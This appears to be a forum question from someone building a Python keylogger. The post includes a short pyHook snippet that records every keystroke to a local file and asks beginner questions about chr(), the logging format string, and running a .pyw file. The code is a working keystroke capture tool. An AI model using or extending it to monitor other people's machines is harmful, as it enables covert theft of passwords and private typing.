I was trying to make a keylogger in pyhton and have stumbled upon this piece of code on numerous blogs:
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Alright, I got three doubts here:
First,As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.
Second , whats the use of 's' in format='%(message)s'
And third: I saved the file as '.pyw' But when I double-click it, it wont work. Although, It works thru Cmd